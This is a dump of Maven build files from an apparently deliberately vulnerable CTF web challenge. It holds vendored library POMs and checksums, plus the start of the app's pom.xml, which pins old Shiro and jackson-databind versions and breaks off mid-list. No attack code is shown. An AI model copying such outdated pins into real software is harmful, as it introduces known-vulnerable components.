<exclude>org/yaml/snakeyaml/external/**</exclude>\n                        </excludes>\n                    </instrumentation>\n                </configuration>\n                <executions>\n                    <execution>\n                        <goals>\n                            <goal>clean</goal>\n                            <goal>check</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-changes-plugin</artifactId>\n                <version>2.5</version>\n                <executions>\n                    <execution>\n                        <id>validate-changes</id>\n                        <phase>pre-site</phase>\n                        <goals>\n                            <goal>changes-validate</goal>\n                        </goals>\n                        <configuration>\n                            <failOnError>true</failOnError>\n                        </configuration>\n                    </execution>\n                </executions>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-source-plugin</artifactId>\n                <version>2.1.2</version>\n                <executions>\n                    <execution>\n                        <goals>\n                            <goal>jar</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-javadoc-plugin</artifactId>\n                <version>2.8</version>\n                <configuration>\n                    <links>\n                        <link>http://java.sun.com/javase/6/docs/api/</link>\n                    </links>\n                </configuration>\n                <executions>\n                    <execution>\n                        <id>attach-javadocs</id>\n                        <goals>\n                            <goal>jar</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n            <plugin>\n                <groupId>com.mycila.maven-license-plugin</groupId>\n                <artifactId>maven-license-plugin</artifactId>\n                <version>1.9.0</version>\n                <configuration>\n                    <header>src/etc/header.txt</header>\n                    <quiet>false</quiet>\n                    <failIfMissing>true</failIfMissing>\n                    <aggregate>false</aggregate>\n                    <includes>\n                        <include>src/**/*.java</include>\n                    </includes>\n                    <excludes>\n                        <exclude>src/main/java/org/yaml/snakeyaml/external/**</exclude>\n                    </excludes>\n                    <useDefaultExcludes>true</useDefaultExcludes>\n                    <useDefaultMapping>true</useDefaultMapping>\n                    <strictCheck>true</strictCheck>\n                    <encoding>UTF-8</encoding>\n                </configuration>\n                <executions>\n                    <execution>\n                        <phase>site</phase>\n                        <goals>\n                            <goal>format</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.felix</groupId>\n                <artifactId>maven-bundle-plugin</artifactId>\n                <version>2.3.4</version>\n                <extensions>true</extensions>\n                <configuration>\n                    <instructions>\n                        <Export-Package>org.yaml.snakeyaml.*</Export-Package>\n                        <Bundle-RequiredExecutionEnvironment>J2SE-1.5</Bundle-RequiredExecutionEnvironment>\n                    </instructions>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n    <reporting>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-changes-plugin</artifactId>\n                <version>2.3</version>\n                <configuration>\n                    <issueLinkTemplate>http://code.google.com/p/snakeyaml/issues/detail?id=%ISSUE%</issueLinkTemplate>\n                </configuration>\n                <reportSets>\n                    <reportSet>\n                        <reports>\n                            <report>changes-report</report>\n                        </reports>\n                    </reportSet>\n                </reportSets>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-surefire-report-plugin</artifactId>\n                <version>2.6</version>\n                <configuration>\n                    <showSuccess>true</showSuccess>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.codehaus.mojo</groupId>\n                <artifactId>cobertura-maven-plugin</artifactId>\n                <version>2.5.1</version>\n                <configuration>\n                    <formats>\n                        <format>html</format>\n                        <format>xml</format>\n                    </formats>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-jxr-plugin</artifactId>\n                <version>2.2</version>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-javadoc-plugin</artifactId>\n                <version>2.8</version>\n                <reportSets>\n                    <reportSet>\n                        <id>html</id>\n                        <configuration>\n                            <doctitle>API for ${project.name} ${project.version}</doctitle>\n                            <windowtitle>API for ${project.name} ${project.version}</windowtitle>\n                            <testDoctitle>Test API for ${project.name} ${project.version}</testDoctitle>\n                            <testWindowtitle>Test API for ${project.name} ${project.version}</testWindowtitle>\n                        </configuration>\n                        <reports>\n                            <report>javadoc</report>\n                        </reports>\n                    </reportSet>\n                </reportSets>\n            </plugin>\n        </plugins>\n    </reporting>\n    <profiles>\n        <profile>\n            <id>release</id>\n            <activation>\n                <property>\n                    <name>performRelease</name>\n                    <value>true</value>\n                </property>\n            </activation>\n            <build>\n                <plugins>\n                    <plugin>\n                        <groupId>org.apache.maven.plugins</groupId>\n                        <artifactId>maven-gpg-plugin</artifactId>\n                        <version>1.1</version>\n                        <executions>\n                            <execution>\n                                <id>sign-artifacts</id>\n                                <phase>verify</phase>\n                                <goals>\n                                    <goal>sign</goal>\n                                </goals>\n                            </execution>\n                        </executions>\n                    </plugin>\n                </plugins>\n            </build>\n        </profile>\n        <profile>\n            <id>fast</id>\n            <build>\n                <plugins>\n                    <plugin>\n                        <groupId>org.apache.maven.plugins</groupId>\n                        <artifactId>maven-surefire-plugin</artifactId>\n                        <version>2.6</version>\n                        <configuration>\n                            <includes>\n                                <include>**/*Test.java</include>\n                            </includes>\n                            <excludes>\n                                <exclude>**/stress/**</exclude>\n                                <exclude>org/yaml/snakeyaml/recursive/generics/HumanGenericsTest.java</exclude>\n                            </excludes>\n                        </configuration>\n                    </plugin>\n                </plugins>\n            </build>\n        </profile>\n        <profile>\n            <id>findbugs</id>\n            <build>\n                <plugins>\n                    <plugin>\n                        <groupId>org.codehaus.mojo</groupId>\n                        <artifactId>findbugs-maven-plugin</artifactId>\n                        <version>2.4.0</version>\n                    </plugin>\n                    <plugin>\n                        <groupId>org.apache.maven.plugins</groupId>\n                        <artifactId>maven-pmd-plugin</artifactId>\n                        <version>2.6</version>\n                    </plugin>\n                </plugins>\n            </build>\n            <reporting>\n                <plugins>\n                    <plugin>\n                        <groupId>org.codehaus.mojo</groupId>\n                        <artifactId>findbugs-maven-plugin</artifactId>\n                        <version>2.4.0</version>\n                    </plugin>\n                    <plugin>\n                        <groupId>org.apache.maven.plugins</groupId>\n                        <artifactId>maven-pmd-plugin</artifactId>\n                        <version>2.6</version>\n                        <configuration>\n                            <linkXref>true</linkXref>\n                            <sourceEncoding>utf-8</sourceEncoding>\n                            <minimumTokens>100</minimumTokens>\n                            <targetJdk>1.5</targetJdk>\n                            <excludes>\n                                <exclude>**/external/*.java</exclude>\n                            </excludes>\n                        </configuration>\n                    </plugin>\n                </plugins>\n            </reporting>\n        </profile>\n        <profile>\n            <id>maven-3</id>\n            <activation>\n                <file>\n                    <!-- This employs that the basedir expression is only\n                        recognized by Maven 3.x (see MNG-2363) -->\n                    <exists>${basedir}</exists>\n                </file>\n            </activation>\n            <build>\n                <pluginManagement>\n                    <plugins>\n                        <plugin>\n                            <groupId>org.apache.maven.plugins</groupId>\n                            <artifactId>maven-site-plugin</artifactId>\n                            <version>3.0</version>\n                        </plugin>\n                    </plugins>\n                </pluginManagement>\n                <plugins>\n                    <plugin>\n                        <artifactId>maven-site-plugin</artifactId>\n                        <executions>\n                            <execution>\n                                <id>attach-descriptor</id>\n                                <goals>\n                                    <goal>attach-descriptor</goal>\n                                </goals>\n                            </execution>\n                        </executions>\n                    </plugin>\n                </plugins>\n            </build>\n        </profile>\n\t<profile>\n\t  <id>android</id>\n\t  <properties>\n\t    <android.src>${project.build.directory}/android/src/</android.src>\n\t    <android.classes>${project.build.directory}/android/classes/</android.classes>\n\t    <android.test.classes>${project.build.directory}/android/test-classes/</android.test.classes>\n\t  </properties>\n\t  <build>\n\t    <plugins>\n\t      <plugin>\n\t\t<artifactId>maven-resources-plugin</artifactId>\n\t\t<version>2.5</version>\n\t\t<executions>\n\t\t  <execution>\n\t\t    <id>copy-src-for-android</id>\n\t\t    <phase>generate-sources</phase>\n\t\t    <goals>\n\t\t      <goal>copy-resources</goal>\n\t\t    </goals>\n\t\t    <configuration>\n\t\t      <outputDirectory>${android.src}</outputDirectory>\n\t\t      <resources>\n\t\t\t<resource>\n\t\t\t  <directory>${basedir}/src/main/java</directory>\n\t\t\t  <filtering>false</filtering>\n\t\t\t  <excludes>\n\t\t\t    <exclude>org/yaml/snakeyaml/introspector/MethodProperty.java</exclude>\n\t\t\t  </excludes>\n\t\t\t</resource>\n\t\t      </resources>\n\t\t    </configuration>\n\t\t  </execution>\n\t\t  <execution>\n\t\t    <id>copy-test-resources-for-android</id>\n\t\t    <phase>process-test-resources</phase>\n\t\t    <goals>\n\t\t      <goal>copy-resources</goal>\n\t\t    </goals>\n\t\t    <configuration>\n\t\t      <outputDirectory>${android.test.classes}</outputDirectory>\n\t\t      <resources>\n\t\t\t<resource>\n\t\t\t  <directory>${basedir}/src/test/resources</directory>\n\t\t\t</resource>\n\t\t      </resources>\n\t\t    </configuration>\n\t\t  </execution>\n\t\t</executions>\n\t      </plugin>\n\n\t      <plugin>\n\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t<artifactId>maven-patch-plugin</artifactId>\n\t\t<version>1.1.1</version>\n\t\t<configuration>\n\t\t  <patchDirectory>${basedir}/src/patches/android/</patchDirectory>\n\t\t  <targetDirectory>${android.src}</targetDirectory>\n\t\t  <skipApplication>false</skipApplication>\n\t\t  <strip>4</strip>\n\t\t</configuration>\n\t\t<executions>\n\t\t  <execution>\n\t\t    <id>android-patches</id>\n\t\t    <phase>process-sources</phase>\n\t\t    <goals>\n\t\t      <goal>apply</goal>\n\t\t    </goals>\n\t\t    <configuration>\n\t\t      <patchTrackingFile>${project.build.directory}/android/patches-applied.txt</patchTrackingFile>\n\t\t      <naturalOrderProcessing>true</naturalOrderProcessing>\n\t\t    </configuration>\n\t\t  </execution>\n\t\t</executions>\n\t      </plugin>\n\t      <plugin>\n\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t<artifactId>maven-antrun-plugin</artifactId>\n\t\t<version>1.7</version>\n\t\t<executions>\n\t\t  <execution>\n\t\t    <id>build-for-android</id>\n\t\t    <phase>compile</phase>\n\t\t    <goals>\n\t\t      <goal>run</goal>\n\t\t    </goals>\n\t\t    <configuration>\n\t\t      <target>\n\t\t\t<mkdir dir=\"${android.classes}\" />\n\t\t\t<mkdir dir=\"${android.test.classes}\" />\n\n\t\t\t<!-- compile patched sources -->\n\t\t\t<javac srcdir=\"${android.src}\" destdir=\"${android.classes}\" classpath=\"${android.classes}\" encoding=\"${project.build.sourceEncoding}\" target=\"1.5\" source=\"1.5\" debug=\"true\" includeantruntime=\"false\" />\n\n\t\t\t<!-- compile test classes. Exclude some - not for BeanAccess.FIELD -->\n\t\t\t<javac srcdir=\"${basedir}/src/test/java:${basedir}/src/test/resources\" destdir=\"${android.test.classes}\" classpath=\"${android.classes}:${android.test.classes}:${junit:junit:jar}:${org.springframework:spring:jar}:${org.apache.velocity:velocity:jar}:${joda-time:joda-time:jar}\" encoding=\"${project.build.sourceEncoding}\" target=\"1.5\" source=\"1.5\" debug=\"true\" includeantruntime=\"false\">\n\t\t\t  <exclude name=\"org/yaml/snakeyaml/introspector/MethodPropertyTest.java\" />\n\t\t\t  <exclude name=\"org/yaml/snakeyaml/representer/FilterPropertyToDumpTest.java\" />\n\t\t\t  <exclude name=\"org/yaml/snakeyaml/issues/issue60/CustomOrderTest.java\" />\n\t\t\t  <exclude name=\"org/yaml/snakeyaml/issues/issue29/FlexibleScalarStylesInJavaBeanTest.java\" />\n\n\t\t\t</javac>\n\t\t      </target>\n\n\t\t    </configuration>\n\t\t  </execution>\n\t\t</executions>\n\t      </plugin>\n\t      <plugin>\n\t\t<artifactId>maven-surefire-plugin</artifactId>\n\t\t<executions>\n\t\t  <execution>\n\t\t    <id>test-android</id>\n\t\t    <phase>test</phase>\n\t\t    <goals>\n\t\t      <goal>test</goal>\n\t\t    </goals>\n\t\t    <configuration>\n\t\t      <classesDirectory>${android.classes}</classesDirectory>\n\t\t      <reportsDirectory>${project.build.directory}/android/surefire-reports</reportsDirectory>\n\t\t      <testClassesDirectory>${android.test.classes}</testClassesDirectory>\n\t\t      <!--\n\t\t      We ignore test failures for android build at the moment.\n\t\t      Most of the FAILs are because of testing with \"property\" not \"field\" access.\n\t\t      But we still fail whole build if there are test errors.\n\t\t      -->\n\t\t      <testFailureIgnore>true</testFailureIgnore>\n\t\t    </configuration>\n\t\t  </execution>\n\t\t</executions>\n\t      </plugin>\n\t      <plugin>\n\t\t<artifactId>maven-jar-plugin</artifactId>\n\t\t<executions>\n\t\t  <execution>\n\t\t    <id>package-android-jar</id>\n\t\t    <phase>package</phase>\n\t\t    <goals>\n\t\t      <goal>jar</goal>\n\t\t    </goals>\n\t\t    <configuration>\n\t\t      <classesDirectory>${android.classes}</classesDirectory>\n\t\t      <classifier>android</classifier>\n\t\t    </configuration>\n\t\t  </execution>\n\t\t</executions>\n\t      </plugin>\n\t    </plugins>\n\t  </build>\n\t</profile>\n    </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/yaml/snakeyaml/1.12/snakeyaml-1.12.pom.sha1",
    "content": "c9dbe57a55450ef61cdb139c01a8edea9206949d"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/oro/oro/2.0.8/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:08 CST 2018\noro-2.0.8.jar>central=\noro-2.0.8.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/oro/oro/2.0.8/oro-2.0.8.jar.sha1",
    "content": "5592374f834645c4ae250f4c9fbb314c9369d698"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/oro/oro/2.0.8/oro-2.0.8.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>oro</groupId>\n  <artifactId>oro</artifactId>\n  <version>2.0.8</version>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/oro/oro/2.0.8/oro-2.0.8.pom.sha1",
    "content": "6d10956ccdb32138560928ba9501648e430c34bb"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/sslext/sslext/1.2-0/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nsslext-1.2-0.jar>central=\nsslext-1.2-0.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/sslext/sslext/1.2-0/sslext-1.2-0.jar.sha1",
    "content": "c86a7db4ac0bc450e675f3d44b3d64cdc934361b  -\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/sslext/sslext/1.2-0/sslext-1.2-0.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>sslext</groupId>\n  <artifactId>sslext</artifactId>\n  <name>sslext</name>\n  <version>1.2-0</version>\n  <licenses>\n    <license>\n      <name>Apache Software License, Version 1.1</name>\n      <url>http://www.apache.org/licenses/LICENSE-1.1</url>\n      <comments></comments>\n    </license>\n  </licenses>\n  <organization>\n    <name>Steve Ditlinger</name>\n    <url>http://sslext.sourceforge.net/</url>\n  </organization>\n  <dependencies>\n    <dependency>\n      <groupId>struts</groupId>\n      <artifactId>struts</artifactId>\n      <version>1.2.7</version>\n    </dependency>\n  </dependencies>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/sslext/sslext/1.2-0/sslext-1.2-0.pom.sha1",
    "content": "69e2c447f2c424d95c4a818463d58da1723fce2c  /home/projects/maven/repository-staging/to-ibiblio/maven2/sslext/sslext/1.2-0/sslext-1.2-0.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/xerces/xercesImpl/2.9.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nxercesImpl-2.9.1.jar>central=\nxercesImpl-2.9.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/xerces/xercesImpl/2.9.1/xercesImpl-2.9.1.jar.sha1",
    "content": "7bc7e49ddfe4fb5f193ed37ecc96c12292c8ceb6\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/xerces/xercesImpl/2.9.1/xercesImpl-2.9.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project \n  xmlns=\"http://maven.apache.org/POM/4.0.0\" \n  xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" \n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>org.apache</groupId>\n    <artifactId>apache</artifactId>\n    <version>4</version>\n  </parent>\n  <groupId>xerces</groupId>\n  <artifactId>xercesImpl</artifactId>\n  <version>2.9.1</version>\n  <name>Xerces2 Java Parser</name>\n  <description>\n    Xerces2 is the next generation of high performance, fully compliant XML parsers in the\n    Apache Xerces family. This new version of Xerces introduces the Xerces Native Interface (XNI),\n    a complete framework for building parser components and configurations that is extremely\n    modular and easy to program.\n  </description>\n  <url>http://xerces.apache.org/xerces2-j</url>\n\n  <dependencies>\n    <dependency>\n      <groupId>xml-apis</groupId>\n      <artifactId>xml-apis</artifactId>\n      <version>1.3.04</version>\n    </dependency>\n    <dependency>\n      <groupId>xml-resolver</groupId>\n      <artifactId>xml-resolver</artifactId>\n      <version>1.2</version>\n      <optional>true</optional>\n    </dependency>\n  </dependencies>\n\n\n  <build>\n    <sourceDirectory>src</sourceDirectory>\n  </build>\n\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/xerces/xercesImpl/2.9.1/xercesImpl-2.9.1.pom.sha1",
    "content": "55a24b0cdefdf6002c3d3f9bb400e55a12d2482e\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/xml-apis/xml-apis/1.0.b2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:01:31 CST 2018\nxml-apis-1.0.b2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/xml-apis/xml-apis/1.0.b2/xml-apis-1.0.b2.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>xml-apis</groupId>\n  <artifactId>xml-apis</artifactId>\n  <name>XML Commons External Components XML APIs</name>\n  <version>1.0.b2</version>\n  <url>http://xml.apache.org/commons/#external</url>\n\n  <description>xml-commons provides an Apache-hosted set of DOM, SAX, and \n    JAXP interfaces for use in other xml-based projects. Our hope is that we \n    can standardize on both a common version and packaging scheme for these \n    critical XML standards interfaces to make the lives of both our developers \n    and users easier. The External Components portion of xml-commons contains \n    interfaces that are defined by external standards organizations. For DOM, \n    that's the W3C; for SAX it's David Megginson and sax.sourceforge.net; for \n    JAXP it's Sun.</description>\n\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <organization>\n    <name>Apache Software Foundation</name>\n    <url>http://www.apache.org/</url>\n  </organization>\n\n  <issueManagement>\n    <system>bugzilla</system>\n    <url>http://issues.apache.org/bugzilla/</url>\n  </issueManagement>\n\n  <mailingLists>\n    <mailingList>\n      <name>XML Commons Developer's List</name>\n      <subscribe>commons-dev-subscribe@xml.apache.org</subscribe>\n      <unsubscribe>commons-dev-unsubscribe@xml.apache.org</unsubscribe>\n      <post>commons-dev@xml.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/xml-commons-dev/</archive>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/xml/commons/tags/xml-commons-1_0_b2</connection>\n    <url>http://svn.apache.org/viewvc/xml/commons/tags/xml-commons-1_0_b2</url>\n  </scm>\n\n  <distributionManagement>\n    <downloadUrl>http://www.apache.org/dist/xml/commons/binaries/xml-commons-1.0.b2.tar.gz</downloadUrl>\n  </distributionManagement>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/xml-apis/xml-apis/1.0.b2/xml-apis-1.0.b2.pom.sha1",
    "content": "2289016f8b8f6a600ce45a199426fe0f6b2be4b0  xml-apis-1.0.b2.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/xml-apis/xml-apis/1.3.04/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nxml-apis-1.3.04.jar>central=\nxml-apis-1.3.04.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/xml-apis/xml-apis/1.3.04/xml-apis-1.3.04.jar.sha1",
    "content": "90b215f48fe42776c8c7f6e3509ec54e84fd65ef  ./xml-apis/xml-apis/1.3.04/xml-apis-1.3.04.jar\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/xml-apis/xml-apis/1.3.04/xml-apis-1.3.04.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><project>\n  <parent>\n    <artifactId>apache</artifactId>\n    <groupId>org.apache</groupId>\n    <version>3</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>xml-apis</groupId>\n  <artifactId>xml-apis</artifactId>\n  <name>XML Commons External Components XML APIs</name>\n  <version>1.3.04</version>\n  <description>xml-commons provides an Apache-hosted set of DOM, SAX, and \n    JAXP interfaces for use in other xml-based projects. Our hope is that we \n    can standardize on both a common version and packaging scheme for these \n    critical XML standards interfaces to make the lives of both our developers \n    and users easier. The External Components portion of xml-commons contains \n    interfaces that are defined by external standards organizations. For DOM, \n    that's the W3C; for SAX it's David Megginson and sax.sourceforge.net; for \n    JAXP it's Sun.</description>\n  <url>http://xml.apache.org/commons/components/external/</url>\n  <issueManagement>\n    <system>bugzilla</system>\n    <url>http://issues.apache.org/bugzilla/</url>\n  </issueManagement>\n  <mailingLists>\n    <mailingList>\n      <name>XML Commons Developer's List</name>\n      <subscribe>commons-dev-subscribe@xml.apache.org</subscribe>\n      <unsubscribe>commons-dev-unsubscribe@xml.apache.org</unsubscribe>\n      <post>commons-dev@xml.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/xml-commons-dev/</archive>\n    </mailingList>\n  </mailingLists>\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/xml/commons/tags/xml-commons-external-1_3_04/</connection>\n    <url>http://svn.apache.org/viewvc/xml/commons/tags/xml-commons-external-1_3_04/</url>\n  </scm>\n  <distributionManagement>\n    <status>deployed</status>\n  </distributionManagement>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/xml-apis/xml-apis/1.3.04/xml-apis-1.3.04.pom.sha1",
    "content": "d6174a9fd44cd14ff8dd486d6ac2e64f831db57c  ./xml-apis/xml-apis/1.3.04/xml-apis-1.3.04.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/xpp3/xpp3_min/1.1.4c/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:59:20 CST 2018\nxpp3_min-1.1.4c.jar>central=\nxpp3_min-1.1.4c.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/xpp3/xpp3_min/1.1.4c/xpp3_min-1.1.4c.jar.sha1",
    "content": "19d4e90b43059058f6e056f794f0ea4030d60b86  /home/maven/repository-staging/to-ibiblio/maven2/xpp3/xpp3_min/1.1.4c/xpp3_min-1.1.4c.jar\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/xpp3/xpp3_min/1.1.4c/xpp3_min-1.1.4c.pom",
    "content": "<project>\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>xpp3</groupId>\n    <artifactId>xpp3_min</artifactId>\n    <version>1.1.4c</version>\n    <packaging>jar</packaging>\n    <name>MXP1: Xml Pull Parser 3rd Edition (XPP3)</name>\n    <url>http://www.extreme.indiana.edu/xgws/xsoap/xpp/mxp1/</url>\n    <description>MXP1 is a stable XmlPull parsing engine that is based on ideas from XPP and in particular XPP2 but completely revised and rewritten to take the best advantage of latest JIT JVMs such as Hotspot in JDK 1.4+.</description>\n    <licenses>\n        <license>\n            <name>Indiana University Extreme! Lab Software License, vesion 1.1.1</name>\n            <url>http://www.extreme.indiana.edu/viewcvs/~checkout~/XPP3/java/LICENSE.txt</url>\n            <distribution>repo</distribution>\n            <comments>The license applies to the Xpp3 classes (all classes below the org.xmlpull package with exception of classes directly in package org.xmlpull.v1 )</comments>\n        </license>\n        <license>\n            <name>Public Domain</name>\n            <url>http://creativecommons.org/licenses/publicdomain</url>\n            <distribution>repo</distribution>\n            <comments>The license applies to the XmlPull API (all classes directly in the org.xmlpull.v1 package)</comments>\n        </license>\n    </licenses>\n    <scm>\n        <url>http://www.extreme.indiana.edu/viewcvs/~checkout~/XPP3/java/</url>\n    </scm>\n    <organization>\n        <name>Extreme! Lab, Indiana University</name>\n        <url>http://www.extreme.indiana.edu/</url>\n    </organization>\n    <dependencies/>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/xpp3/xpp3_min/1.1.4c/xpp3_min-1.1.4c.pom.sha1",
    "content": "4d2f2cf4e7b090e4c0c3010c6cd27cdb45ca593e  xpp3_min-1.1.4c.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>com.bupt</groupId>\n    <artifactId>charpter2</artifactId>\n    <packaging>war</packaging>\n    <version>1.0-SNAPSHOT</version>\n    <name>charpter2 Maven Webapp</name>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <maven.test.skip>true</maven.test.skip>\n\n        <file.encoding>UTF-8</file.encoding>\n        <spring.version>4.2.2.RELEASE</spring.version>\n        <mysql.version>5.1.29</mysql.version>\n        <servlet.version>3.0-alpha-1</servlet.version>\n        <aspectj.version>1.8.1</aspectj.version>\n        <commons-codec.version>1.9</commons-codec.version>\n        <commons-dbcp.version>1.4</commons-dbcp.version>\n        <hibernate.validator.version>5.0.2.Final</hibernate.validator.version>\n        <jetty.version>8.1.8.v20121106</jetty.version>\n        <slf4j.version>1.7.5</slf4j.version>\n        <testng.version>6.8.7</testng.version>\n        <shiro.version>1.2.3</shiro.version>\n    </properties>\n\n    <dependencies>\n        <!-- json obj -->\n        <!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-databind -->\n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-databind</artifactId>\n            <version>2.5.3</version>\n            <exclusions>\n                <exclusion>\n                    <artifactId>jackson-annotations</artifactId>\n                    <groupId>com.fasterxml.jackson.core</groupId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-core -->\n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-core</artifactId>\n            <version>2.5.3</version>\n        </dependency>\n        <!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-annotations -->\n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-annotations</artifactId>\n            <version>2.5.3</version>\n        </dependency>\n        <!-- json obj -->\n\n        <!-- jackson -->\n        <!--<dependency>-->\n        <!--<groupId>org.codehaus.jackson</groupId>-->\n        <!--<artifactId>jackson-core-asl</artifactId>-->\n        <!--<version>1.9.4</version>-->\n        <!--</dependency>-->\n        <!--<dependency>-->\n        <!--<groupId>org.codehaus.jackson</groupId>-->\n        <!--<artifactId>jackson-mapper-asl</artifactId>-->\n        <!--<version>1.9.4</version>-->\n        <!--</dependency>-->\n\n        <!---->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid</artifactId>\n            <version>0.2.23</version>\n        </dependency>\n        <!-- https://mvnrepository.com/artifact/org.apache.poi/poi -->\n        <dependency>\n            <groupId>org.apache.poi</groupId>\n            <artifactId>poi</artifactId>\n            <version>3.15</version>\n        </dependency>\n        <!-- https://mvnrepository.com/artifact/javax.mail/mail -->\n        <dependency>\n            <groupId>javax.mail</groupId>\n            <artifactId>mail</artifactId>\n            <version>1.4.7</version>\n        </dependency>\n        <!--&lt;!&ndash;shiro依赖&ndash;&gt;-->\n        <dependency>\n            <groupId>org.apache.shiro</groupId>\n            <artifactId>shiro-core</artifactId>\n            <version>${shiro.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.shiro</groupId>\n            <artifactId>shiro-web</artifactId>\n            <version>${shiro.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.shiro</groupId>\n            <artifactId>shiro-spring</artifactId>\n            <version>${shiro.version}</version>\n        </dependency>\n        <!-- 用于生成图片的缩略图 -->\n        <dependency>\n            